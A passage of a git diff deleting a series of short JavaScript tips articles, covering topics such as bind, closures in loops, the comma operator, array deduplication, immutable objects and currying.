-You can test this and see the result [thanks to babel](<https://babeljs.io/repl/#?experimental=false&evaluate=true&loose=false&spec=false&code=var%20y%2C%20x%20%3D%20y%20%3D%201%20%2F%2F%3D%3D%20var%20x%3B%20var%20y%3B%20x%20%3D%20y%20%3D%201%0Aconsole.log('--%3E%201%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F--%3E%201%3A%20x%20%3D%201%2C%20y%20%3D%201%0A%0A%3B(()%20%3D%3E%20%7B%20%0A%20%20var%20x%20%3D%20y%20%3D%202%20%2F%2F%20%3D%3D%20var%20x%3B%20y%20%3D%202%3B%0A%20%20console.log('2.0%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%7D)()%0Aconsole.log('--%3E%202.1%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F2.0%3A%20x%20%3D%202%2C%20y%20%3D%202%0A%2F%2F--%3E%202.1%3A%20x%20%3D%201%2C%20y%20%3D%202%0A%0A%3B(()%20%3D%3E%20%7B%20%0A%20%20var%20x%2C%20y%20%3D%203%20%2F%2F%20%3D%3D%20var%20x%3B%20var%20y%20%3D%203%3B%0A%20%20console.log('3.0%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%7D)()%0Aconsole.log('--%3E%203.1%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F3.0%3A%20x%20%3D%20undefined%2C%20y%20%3D%203%0A%2F%2F--%3E%203.1%3A%20x%20%3D%201%2C%20y%20%3D%202%0A%0A%3B(()%20%3D%3E%20%7B%20%0A%20%20var%20y%2C%20x%20%3D%20y%20%3D%204%20%2F%2F%20%3D%3D%20var%20x%3B%20var%20y%3B%20x%20%3D%20y%20%3D%203%0A%20%20console.log('4.0%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%7D)()%0Aconsole.log('--%3E%204.1%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F4.0%3A%20x%20%3D%204%2C%20y%20%3D%204%0A%2F%2F--%3E%204.1%3A%20x%20%3D%201%2C%20y%20%3D%202%0A%0Ax%20%3D%205%20%2F%2F%20%3D%3D%20x%20%3D%205%0Aconsole.log('--%3E%205%3A'%2C%20%60x%20%3D%20%24%7Bx%7D%2C%20y%20%3D%20%24%7By%7D%60)%0A%0A%2F%2F%20Will%20print%0A%2F%2F--%3E%205%3A%20x%20%3D%205%2C%20y%20%3D%202>).
-
-More informations available on the [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var).
-
-Special thanks to @kurtextrem for his collaboration :)!
diff --git a/docs/content/js-topics/bindingobjectsto.md b/docs/content/js-topics/bindingobjectsto.md
deleted file mode 100644
index 04216960d9..0000000000
--- a/docs/content/js-topics/bindingobjectsto.md
+++ /dev/null
@@ -1,64 +0,0 @@
-title: Binding objects to functions
-tip-number: 61
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: Understanding how to use `Bind` method with objects and functions in JavaScript
-
--   /en/binding-objects-to-functions/
-
-categories: - en - javascript
-
----
-
-More than often, we need to bind an object to a function's this object. JS uses the bind method when this is specified explicitly and we need to invoke desired method.
-
-### Bind syntax
-
-```js
-fun.bind(thisArg[, arg1[, arg2[, ...]]])
-```
-
-## Parameters
-
-**thisArg**
-
-`this` parameter value to be passed to target function while calling the `bound` function.
-
-**arg1, arg2, ...**
-
-Prepended arguments to be passed to the `bound` function while invoking the target function.
-
-**Return value**
-
-A copy of the given function along with the specified `this` value and initial arguments.
-
-### Bind method in action in JS
-
-```js
-const myCar = {
-    brand: 'Ford',
-    type: 'Sedan',
-    color: 'Red'
-};
-
-const getBrand = function () {
-    console.log(this.brand);
-};
-
-const getType = function () {
-    console.log(this.type);
-};
-
-const getColor = function () {
-    console.log(this.color);
-};
-
-getBrand(); // object not bind,undefined
-
-getBrand(myCar); // object not bind,undefined
-
-getType.bind(myCar)(); // Sedan
-
-let boundGetColor = getColor.bind(myCar);
-boundGetColor(); // Red
-```
diff --git a/docs/content/js-topics/breakcontinueloopfunctional.md b/docs/content/js-topics/breakcontinueloopfunctional.md
deleted file mode 100644
index 1cc32b9b00..0000000000
--- a/docs/content/js-topics/breakcontinueloopfunctional.md
+++ /dev/null
@@ -1,84 +0,0 @@
-title: Breaking or continuing loop in functional programming
-tip-number: 58
-tip-username: vamshisuram
-tip-username-profile: https://github.com/vamshisuram
-tip-tldr: A common task for us is iterate over a list looking for a value or values, but we can't return from inside a loop so we will have to iterate the whole array, even if the item we search is the first in the list, in this tip we will see how to short circuit with `.some` and `.every`.
-
--   /en/break-continue-loop-functional/
-
-categories: - en - javascript
-
----
-
-A common requirement of iteration is cancelation. Using `for` loops we can `break` to end iteration early.
-
-```js
-const a = [0, 1, 2, 3, 4];
-for (var i = 0; i < a.length; i++) {
-    if (a[i] === 2) {
-        break; // stop the loop
-    }
-    console.log(a[i]);
-}
-//> 0, 1
-```
-
-Another common requirement is to close over our variables.
-
-A quick approach is to use `.forEach` but
-then we lack the ability to `break`. In this situation the closest we get is `continue` functionality through `return`.
-
-```js
-[0, 1, 2, 3, 4].forEach(function (val, i) {
-    if (val === 2) {
-        // how do we stop?
-        return true;
-    }
-    console.log(val); // your code
-});
-//> 0, 1, 3, 4
-```
-
-The `.some` is a method on Array prototype. It tests whether some element in the array passes the test implemented by the provided function. If any value is returning true, then it stops executing. Here is a [MDN link](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/some) for more details.
-
-An example quoted from that link
-
-```js
-const isBiggerThan10 = (numb) => numb > 10;
-
-[2, 5, 8, 1, 4].some(isBiggerThan10); // false
-[12, 5, 8, 1, 4].some(isBiggerThan10); // true
-```
-
-Using `.some` we get iteration functionally similar to `.forEach` but with the ability to `break` through `return` instead.
-
-```js
-[0, 1, 2, 3, 4].some(function (val, i) {
-    if (val === 2) {
-        return true;
-    }
-    console.log(val); // your code
-});
-//> 0, 1
-```
-
-You keep returning `false` to make it `continue` to next item. When you return `true`, the loop will `break` and `a.some(..)` will `return` `true`.
-
-```js
-// Array contains 2
-const isTwoPresent = [0, 1, 2, 3, 4].some(function (val, i) {
-    if (val === 2) {
-        return true; // break
-    }
-});
-console.log(isTwoPresent);
-//> true
-```
-
-Also there is `.every`, which can be used. We have to return the opposite boolean compared to `.some`.
-
-##### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/jopeji/embed?js,console">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
diff --git a/docs/content/js-topics/calculatethemaxminvaluefromanarray.md b/docs/content/js-topics/calculatethemaxminvaluefromanarray.md
deleted file mode 100644
index e46f50b311..0000000000
--- a/docs/content/js-topics/calculatethemaxminvaluefromanarray.md
+++ /dev/null
@@ -1,37 +0,0 @@
-title: Calculate the Max/Min value from an array
-tip-number: 45
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: Ways to use the built-in functions Math.max() and Math.min() with arrays of numbers
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/calculate-the-max-min-value-from-an-array/
-
-The built-in functions [Math.max()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max) and [Math.min()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min) find the maximum and minimum value of the arguments, respectively.
-
-```js
-Math.max(1, 2, 3, 4); // 4
-Math.min(1, 2, 3, 4); // 1
-```
-
-These functions will not work as-is with arrays of numbers. However, there are some ways around this.
-
-[`Function.prototype.apply()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply) allows you to call a function with a given `this` value and an _array_ of arguments.
-
-```js
-var numbers = [1, 2, 3, 4];
-Math.max.apply(null, numbers); // 4
-Math.min.apply(null, numbers); // 1
-```
-
-Passing the `numbers` array as the second argument of `apply()` results in the function being called with all values in the array as parameters.
-
-A simpler, ES2015 way of accomplishing this is with the new [spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator).
-
-```js
-var numbers = [1, 2, 3, 4];
-Math.max(...numbers); // 4
-Math.min(...numbers); // 1
-```
-
-This operator causes the values in the array to be expanded, or "spread", into the function's arguments.
diff --git a/docs/content/js-topics/checkifapropertyisinaobject.md b/docs/content/js-topics/checkifapropertyisinaobject.md
deleted file mode 100644
index f59443ec62..0000000000
--- a/docs/content/js-topics/checkifapropertyisinaobject.md
+++ /dev/null
@@ -1,55 +0,0 @@
-title: Check if a property is in a Object
-tip-number: 10
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: These are ways to check if a property is present in an object.
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/check-if-a-property-is-in-a-object/
-
-When you have to check if a property is present in an [object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects), you probably are doing something like this:
-
-```js
-var myObject = {
-  name: '@tips_js'
-};
-
-if (myObject.name) { ... }
-
-```
-
-That's ok, but you have to know that there are two native ways for this kind of thing, the [`in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in) and [`Object.hasOwnProperty`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty). Every object descended from `Object`, has both ways available.
-
-### See the big Difference
-
-```js
-var myObject = {
-    name: '@tips_js'
-};
-
-myObject.hasOwnProperty('name'); // true
-'name' in myObject; // true
-
-myObject.hasOwnProperty('valueOf'); // false, valueOf is inherited from the prototype chain
-'valueOf' in myObject; // true
-```
-
-Both differ in the depth at which they check the properties. In other words, `hasOwnProperty` will only return true if key is available on that object directly. However, the `in` operator doesn't discriminate between properties created on an object and properties inherited from the prototype chain.
-
-Here's another example:
-
-```js
-var myFunc = function () {
-    this.name = '@tips_js';
-};
-myFunc.prototype.age = '10 days';
-
-var user = new myFunc();
-
-user.hasOwnProperty('name'); // true
-user.hasOwnProperty('age'); // false, because age is from the prototype chain
-```
-
-Check the [live examples here](https://jsbin.com/tecoqa/edit?js,console)!
-
-I also recommend reading [this discussion](https://github.com/loverajoel/jstips/issues/62) about common mistakes made when checking a property's existence in objects.
diff --git a/docs/content/js-topics/closuresinside.md b/docs/content/js-topics/closuresinside.md
deleted file mode 100644
index b0def35368..0000000000
--- a/docs/content/js-topics/closuresinside.md
+++ /dev/null
@@ -1,64 +0,0 @@
-title: Closures inside loops
-tip-number: 76
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: Closure in a loop is an interesting topic and this is the tip to be a master of it
-
-categories: - en - javascript
-
----
-
-If you ever come across the likes of
-
-```js
-var funcs = [];
-for (var i = 0; i < 3; i++) {
-    funcs[i] = function () {
-        console.log('i value is ' + i);
-    };
-}
-
-for (var k = 0; k < 3; k++) {
-    funcs[k]();
-}
-```
-
-You will notice that the expected output of
-
-```
-i value is 0
-i value is 1
-i value is 2
-```
-
-Doesn't match the actual output which will resemble
-
-```
-i value is 3
-i value is 3
-i value is 3
-```
-
-This is because of how the capturing mechanism of closures work and how `i` is represented internally.
-
-To solve this situation you can do as follows:
-
-```js
-for (var i = 0; i < 3; i++) {
-    funcs[i] = (function (value) {
-        console.log('i value is ' + i);
-    })(i);
-}
-```
-
-Which effectively copies i by value by handing it to our closure or
-
-```js
-for (let i = 0; i < 3; i++) {
-    funcs[i] = function () {
-        console.log('i value is ' + i);
-    };
-}
-```
-
-Where `let` scopes the variable to our `for` loop and produces a new value each iteration, thus `i` will be bound to different values on our closures as expected.
diff --git a/docs/content/js-topics/commaoperatoninjs.md b/docs/content/js-topics/commaoperatoninjs.md
deleted file mode 100644
index d253a3f385..0000000000
--- a/docs/content/js-topics/commaoperatoninjs.md
+++ /dev/null
@@ -1,73 +0,0 @@
-title: Comma operator in JS
-tip-number: 57
-tip-username: bhaskarmelkani
-tip-username-profile: https://www.twitter.com/bhaskarmelkani
-tip-tldr: When placed in an expression, it evaluates every expression from left to right and returns the last one.
-
--   /en/comma-operaton-in-js/
-
-categories: - en - javascript
-
----
-
-Apart from being just a delimiter, the comma operator allows you to put multiple statements in a place where one statement is expected.
-Eg:-
-
-```js
-for (var i = 0, j = 0; i < 5; i++, j++, j++) {
-    console.log('i:' + i + ', j:' + j);
-}
-```
-
-Output:-
-
-```js
-i:0, j:0
-i:1, j:2
-i:2, j:4
-i:3, j:6
-i:4, j:8
-```
-
-When placed in an expression, it evaluates every expression from left to right and returns the right most expression.
-
-Eg:-
-
----
-
-```js
-function a() {
-    console.log('a');
-    return 'a';
-}
-function b() {
-    console.log('b');
-    return 'b';
-}
-function c() {
-    console.log('c');
-    return 'c';
-}
-
-var x = (a(), b(), c());
-
-console.log(x); // Outputs "c"
-```
-
-Output:-
-
-```js
-'a';
-'b';
-'c';
-
-'c';
-```
-
--   Note: The comma(`,`) operator has the lowest priority of all javascript operators, so without the parenthesis the expression would become: `(x = a()), b(), c();`.
-
-##### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/vimogap/embed?js,console">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
diff --git a/docs/content/js-topics/convertinganodelisttoan.md b/docs/content/js-topics/convertinganodelisttoan.md
deleted file mode 100644
index 11e01abdaa..0000000000
--- a/docs/content/js-topics/convertinganodelisttoan.md
+++ /dev/null
@@ -1,53 +0,0 @@
-title: Converting a Node List to an Array
-tip-number: 08
-tip-username: Tevko
-tip-username-profile: https://twitter.com/tevko
-tip-tldr: Here's a quick, safe, and reusable way to convert a node list into an array of DOM elements.
-
--   /en/converting-a-node-list-to-an-array/
-
-The `querySelectorAll` method returns an array-like object called a node list. These data structures are referred to as "Array-like", because they appear as an array, but can not be used with array methods like `map` and `forEach`. Here's a quick, safe, and reusable way to convert a node list into an array of DOM elements:
-
-```js
-const nodelist = document.querySelectorAll('div');
-const nodelistToArray = Array.apply(null, nodelist);
-
-//later on ..
-
-nodelistToArray.forEach(...);
-nodelistToArray.map(...);
-nodelistToArray.slice(...);
-
-//etc...
-```
-
-The `apply` method is used to pass an array of arguments to a function with a given `this` value. [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply) states that `apply` will take an array-like object, which is exactly what `querySelectorAll` returns. Since we don't need to specify a value for `this` in the context of the function, we pass in `null` or `0`. The result is an actual array of DOM elements which contains all of the available array methods.
-
-Alternatively you can use `Array.prototype.slice` combined with `Function.prototype.call` or `Function.prototype.apply` passing the array-like object as the value of `this`:
-
-```js
-const nodelist = document.querySelectorAll('div');
-const nodelistToArray = Array.prototype.slice.call(nodelist); // or equivalently Array.prototype.slice.apply(nodelist);
-
-//later on ..
-
-nodelistToArray.forEach(...);
-nodelistToArray.map(...);
-nodelistToArray.slice(...);
-
-//etc...
-```
-
-Or if you are using ES2015 you can use the [spread operator `...`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
-
-```js
-const nodelist = [...document.querySelectorAll('div')]; // returns a real array
-
-//later on ..
-
-nodelist.forEach(...);
-nodelist.map(...);
-nodelist.slice(...);
-
-//etc...
-```
diff --git a/docs/content/js-topics/convertingtonumberfastway.md b/docs/content/js-topics/convertingtonumberfastway.md
deleted file mode 100644
index 70152a6855..0000000000
--- a/docs/content/js-topics/convertingtonumberfastway.md
+++ /dev/null
@@ -1,23 +0,0 @@
-title: Converting to number fast way
-tip-number: 23
-tip-username: sonnyt
-tip-username-profile: http://twitter.com/sonnyt
-tip-tldr: Converting strings to numbers is extremely common. The easiest and fastest way to achieve that would be using the + operator.
-
--   /en/converting-to-number-fast-way/
-
-Converting strings to numbers is extremely common. The easiest and fastest ([jsPerf](https://jsperf.com/number-vs-parseint-vs-plus/29)) way to achieve that would be using the `+` (plus) operator.
-
-```js
-var one = '1';
-
-var numberOne = +one; // Number 1
-```
-
-You can also use the `-` (minus) operator which type-converts the value into number but also negates it.
-
-```js
-var one = '1';
-
-var negativeNumberOne = -one; // Number -1
-```
diff --git a/docs/content/js-topics/convertingtruthyfalsyvaluesto.md b/docs/content/js-topics/convertingtruthyfalsyvaluesto.md
deleted file mode 100644
index 15a9c8912f..0000000000
--- a/docs/content/js-topics/convertingtruthyfalsyvaluesto.md
+++ /dev/null
@@ -1,22 +0,0 @@
-title: Converting truthy/falsy values to boolean
-tip-number: 30
-tip-username: hakhag
-tip-username-profile: https://github.com/hakhag
-tip-tldr: Logical operators are a core part of JavaScript, here you can see a a way you always get a true or false no matter what was given to it.
-
--   /en/converting-truthy-falsy-values-to-boolean/
-
-You can convert a [truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy) or [falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) value to true boolean with the `!!` operator.
-
-```js
-!!''; // false
-!!0; // false
-!!null; // false
-!!undefined; // false
-!!NaN; // false
-
-!!'hello'; // true
-!!1; // true
-!!{}; // true
-!![]; // true
-```
diff --git a/docs/content/js-topics/copyto.md b/docs/content/js-topics/copyto.md
deleted file mode 100644
index c05a9c9f2a..0000000000
--- a/docs/content/js-topics/copyto.md
+++ /dev/null
@@ -1,29 +0,0 @@
-title: Copy to Clipboard
-tip-number: 56
-tip-username: loverajoel
-tip-username-profile: https://twitter.com/loverajoel
-tip-tldr: This week I had to create a common "Copy to Clipboard" button, I've never created one before and I want to share how I made it.
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/copy-to-clipboard/
-
-categories: - en - javascript
-
----
-
-This is a simple tip, this week I had to create a common "Copy to Clipboard" button, I've never created one before and I want to share how I made it.
-It's easy, the bad thing is that we must add an `<input/>` with the text to be copied to the DOM. Then, we selected the content and execute the copy command with [execCommand](https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand).
-`execCommand('copy')` will copy the actual selected content.
-
-Also, this command that now is [supported](http://caniuse.com/#search=execCommand) by all the latest version of browsers, allows us to execute another system commands like `copy`, `cut`, `paste`, and make changes like fonts color, size, and much more.
-
-```js
-document.querySelector('#input').select();
-document.execCommand('copy');
-```
-
-##### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/huhozu/embed?js,output">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
diff --git a/docs/content/js-topics/createrange...neasilyusingoneline.md b/docs/content/js-topics/createrange...neasilyusingoneline.md
deleted file mode 100644
index bf8142d775..0000000000
--- a/docs/content/js-topics/createrange...neasilyusingoneline.md
+++ /dev/null
@@ -1,61 +0,0 @@
-title: Create array sequence `[0, 1, ..., N-1]` in one line
-tip-number: 33
-tip-username: SarjuHansaliya
-tip-username-profile: https://github.com/SarjuHansaliya
-tip-tldr: Compact one-liners that generate ordinal sequence arrays
-
--   /en/create-range-0...n-easily-using-one-line/
-
-Here are two compact code sequences to generate the `N`-element array `[0, 1, ..., N-1]`:
-
-### Solution 1 (requires ES5)
-
-```js
-Array.apply(null, { length: N }).map(Function.call, Number);
-```
-
-#### Brief explanation
-
-1. `Array.apply(null, {length: N})` returns an `N`-element array filled with `undefined` (i.e. `A = [undefined, undefined, ...]`).
-2. `A.map(Function.call, Number)` returns an `N`-element array, whose index `I` gets the result of `Function.call.call(Number, undefined, I, A)`
-3. `Function.call.call(Number, undefined, I, A)` collapses into `Number(I)`, which is naturally `I`.
-4. Result: `[0, 1, ..., N-1]`.
-
-For a more thorough explanation, go [here](https://github.com/gromgit/jstips-xe/blob/master/tips/33.md).
-
-### Solution 2 (requires ES6)
-
-It uses `Array.from` [https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
-
-```js
-Array.from(new Array(N), (val, index) => index);
-```
-
-### Solution 3 (requires ES6)
-
-```js
-Array.from(Array(N).keys());
-```
-
-#### Brief explanation
-
-1. `A = new Array(N)` returns an array with `N` _holes_ (i.e. `A = [,,,...]`, but `A[x] = undefined` for `x` in `0...N-1`).
-2. `F = (val,index)=>index` is simply `function F (val, index) { return index; }`
-3. `Array.from(A, F)` returns an `N`-element array, whose index `I` gets the results of `F(A[I], I)`, which is simply `I`.
-4. Result: `[0, 1, ..., N-1]`.
-
-### One More Thing
-
-If you actually want the sequence [1, 2, ..., N], **Solution 1** becomes:
-
-```js
-Array.apply(null, { length: N }).map(function (value, index) {
-    return index + 1;
-});
-```
-
-and **Solution 2**:
-
-```js
-Array.from(new Array(N), (val, index) => index + 1);
-```
diff --git a/docs/content/js-topics/creatingimmutableobjectsinnativejavascript.md b/docs/content/js-topics/creatingimmutableobjectsinnativejavascript.md
deleted file mode 100644
index 6fb4a0f700..0000000000
--- a/docs/content/js-topics/creatingimmutableobjectsinnativejavascript.md
+++ /dev/null
@@ -1,85 +0,0 @@
-title: Creating immutable objects in native JavaScript
-tip-number: 74
-tip-username: loverajoel
-tip-username-profile: https://www.twitter.com/loverajoel
-tip-tldr: With the latest versions of JavaScript it's possible to create immutable objects. I'll walk you through how to do it in three different ways.
-
-categories: - en - javascript
-
----
-
-# Creating immutable objects in native JavaScript
-
-Javascript it's a flexible language, you can redefine anything. But when projects get complex we find problems with mutable data structures.
-With the latest versions of JavaScript this situation changed. Now it's possible to create immutable objects. I'll walk you through how to do it in three different ways.
-
-### Wait, what means immutable?
-
-> Immutability in object means we don't want our objects to change in any ways once we create them i.e make them read-only type.
-
-Let's suppose we need to define a car [Object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object) and use its properties to perform operations throughout our entire project.
-We can't allow modifying by mistake any data.
-
-```
-const myTesla = {
-	maxSpeed: 250,
-	batteryLife: 300,
-	weight: 023
-};
-```
-
-## [Object.preventExtensions()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions)
-
-This method prevents the addition of new properties to our existing object.
-`preventExtensions()` is a irreversible operation. We can never add extra properties to the object again.
-
-```
-Object.isExtensible(myTesla); // true
-Object.preventExtensions(myTesla);
-Object.isExtensible(myTesla); // false
-myTesla.color = 'blue';
-console.log(myTesla.color) // undefined
-```
-
-## [Object.seal()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal)
-
-It prevents additions or deletion of properties. `seal()` also prevents the modification of property descriptors.
-
-```
-Object.isSealed(myTesla); // false
-Object.seal(myTesla);
-Object.isSealed(myTesla); // true
-
-myTesla.color = 'blue';
-console.log(myTesla.color); // undefined
-
-delete myTesla.batteryLife; // false
-console.log(myTesla.batteryLife); // 300
-
-Object.defineProperty(myTesla, 'batteryLife'); // TypeError: Cannot redefine property: batteryLife
-```
-
-## [Object.freeze()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
-
-It does the same that `Object.seal()` plus it makes the properties non-writable.
-
-```
-Object.isFrozen(myTesla); // false
-Object.freeze(myTesla);
-Object.isFrozen(myTesla); // true
-
-myTesla.color = 'blue';
-console.log(myTesla.color); // undefined
-
-delete myTesla.batteryLife;
-console.log(myTesla.batteryLife); // 300
-
-Object.defineProperty(myTesla, 'batteryLife'); // TypeError: Cannot redefine property: batteryLife
-
-myTesla.batteryLife = 400;
-console.log(myTesla.batteryLife); // 300
-```
-
-## Extra
-
-Use `strict mode` if you want to throw an error when trying to modify an immutable object.
diff --git a/docs/content/js-topics/curryvspartialapplication.md b/docs/content/js-topics/curryvspartialapplication.md
deleted file mode 100644
index 0d296f6ec8..0000000000
--- a/docs/content/js-topics/curryvspartialapplication.md
+++ /dev/null
@@ -1,116 +0,0 @@
-title: Currying vs partial application
-tip-number: 28
-tip-username: bhaskarmelkani
-tip-username-profile: https://www.twitter.com/bhaskarmelkani
-tip-tldr: Currying and partial application are two ways of transforming a function into another function with a generally smaller arity.
-
--   /en/curry-vs-partial-application/
-
-**Currying**
-
-Currying takes a function
-
-f: X \* Y -> R
-
-and turns it into a function
-
-f': X -> (Y -> R)
-
-Instead of calling f with two arguments, we invoke f' with the first argument. The result is a function that we then call with the second argument to produce the result.
-
-Thus, if the uncurried f is invoked as
-
-f(3,5)
-
-then the curried f' is invoked as
-
-f(3)(5)
-
-For example:
-Uncurried add()
-
----
-
-```js
-function add(x, y) {
-    return x + y;
-}
-
-add(3, 5); // returns 8
-```
-
-Curried add()
-
----
-
-```js
-function addC(x) {
-    return function (y) {
-        return x + y;
-    };
-}
-
-addC(3)(5); // returns 8
-```
-
-**The algorithm for currying.**
-
-Curry takes a binary function and returns a unary function that returns a unary function.
-
-curry: (X × Y → R) → (X → (Y → R))
-
-Javascript Code:
-
----
-
-```js
-function curry(f) {
-    return function (x) {
-        return function (y) {
-            return f(x, y);
-        };
-    };
-}
-```
-
-**Partial application**
-
-Partial application takes a function
-
-f: X \* Y -> R
-
-and a fixed value for the first argument to produce a new function
-
-f`: Y -> R
-
-f' does the same as f, but only has to fill in the second parameter which is why its arity is one less than the arity of f.
-
-For example: Binding the first argument of function add to 5 produces the function plus5.
-
----
-
-```js
-function plus5(y) {
-    return 5 + y;
-}
-
-plus5(3); // returns 8
-```
-
-**The algorithm of partial application.\***
-
-partApply takes a binary function and a value and produces a unary function.
-
-partApply : ((X × Y → R) × X) → (Y → R)
-
-Javascript Code:
-
----
-
-```js
-function partApply(f, x) {
-    return function (y) {
-        return f(x, y);
-    };
-}
-```
diff --git a/docs/content/js-topics/deduplicateanarray.md b/docs/content/js-topics/deduplicateanarray.md
deleted file mode 100644
index fb5cd8bee2..0000000000
--- a/docs/content/js-topics/deduplicateanarray.md
+++ /dev/null
@@ -1,128 +0,0 @@
-title: Deduplicate an Array
-tip-number: 37
-tip-username: danillouz
-tip-username-profile: https://www.twitter.com/danillouz
-tip-tldr: How to remove duplicate elements, of different data types, from an Array.
-
--   /en/deduplicate-an-array/
-
-# Primitives
-
-If an Array only contains primitive values, we can deduplicate it by
-only using the [`filter`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) and [`indexOf`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf) methods.
-
-```js
-var deduped = [1, 1, 'a', 'a'].filter(function (el, i, arr) {
-    return arr.indexOf(el) === i;
-});
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-## ES2015
-
-We can write this in a more compact way using an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions).
-
-```js
-var deduped = [1, 1, 'a', 'a'].filter((el, i, arr) => arr.indexOf(el) === i);
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-But with the introduction of [Sets](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) and the [`from`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from) method, we can achieve the same
-result in a more concise way.
-
-```js
-var deduped = Array.from(new Set([1, 1, 'a', 'a']));
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-# Objects
-
-We can't use the same approach when the elements are Objects,
-because Objects are stored by reference and primitives are stored
-by value.
-
-```js
-1 === 1 // true
-
-'a' === 'a' // true
-
-{ a: 1 } === { a: 1 } // false
-```
-
-Therefore we need to change our approach and use a hash table.
-
----
-
-```js
-function dedup(arr) {
-    var hashTable = {};
-
-    return arr.filter(function (el) {
-        var key = JSON.stringify(el);
-        var match = Boolean(hashTable[key]);
-
-        return match ? false : (hashTable[key] = true);
-    });
-}
-
-var deduped = dedup([{ a: 1 }, { a: 1 }, [1, 2], [1, 2]]);
-
-console.log(deduped); // [ {a: 1}, [1, 2] ]
-```
-
-Because a hash table in javascript is simply an `Object`, the keys
-will always be of the type `String`. This means that normally we can't
-distinguish between strings and numbers of the same value, i.e. `1` and
-`'1'`.
-
-```js
-var hashTable = {};
-
-hashTable[1] = true;
-hashTable['1'] = true;
-
-console.log(hashTable); // { '1': true }
-```
-
-However, because we're using [`JSON.stringify`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify), keys that are of the
-type `String`, will be stored as an escaped string value, giving us unique
-keys in our `hashTable`.
-
-```js
-var hashTable = {};
-
-hashTable[JSON.stringify(1)] = true;
-hashTable[JSON.stringify('1')] = true;
-
-console.log(hashTable); // { '1': true, '\'1\'': true }
-```
-
-This means duplicate elements of the same value, but of a different type,
-will still be deduplicated using the same implementation.
-
-```js
-var deduped = dedup([{ a: 1 }, { a: 1 }, [1, 2], [1, 2], 1, 1, '1', '1']);
-
-console.log(deduped); // [ {a: 1}, [1, 2], 1, '1' ]
-```
-
-# Resources
-
-## Methods
-
--   [`filter`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
--   [`indexOf`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
--   [`from`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
--   [`JSON.stringify`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify)
-
-## ES2015
-
--   [arrow functions](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
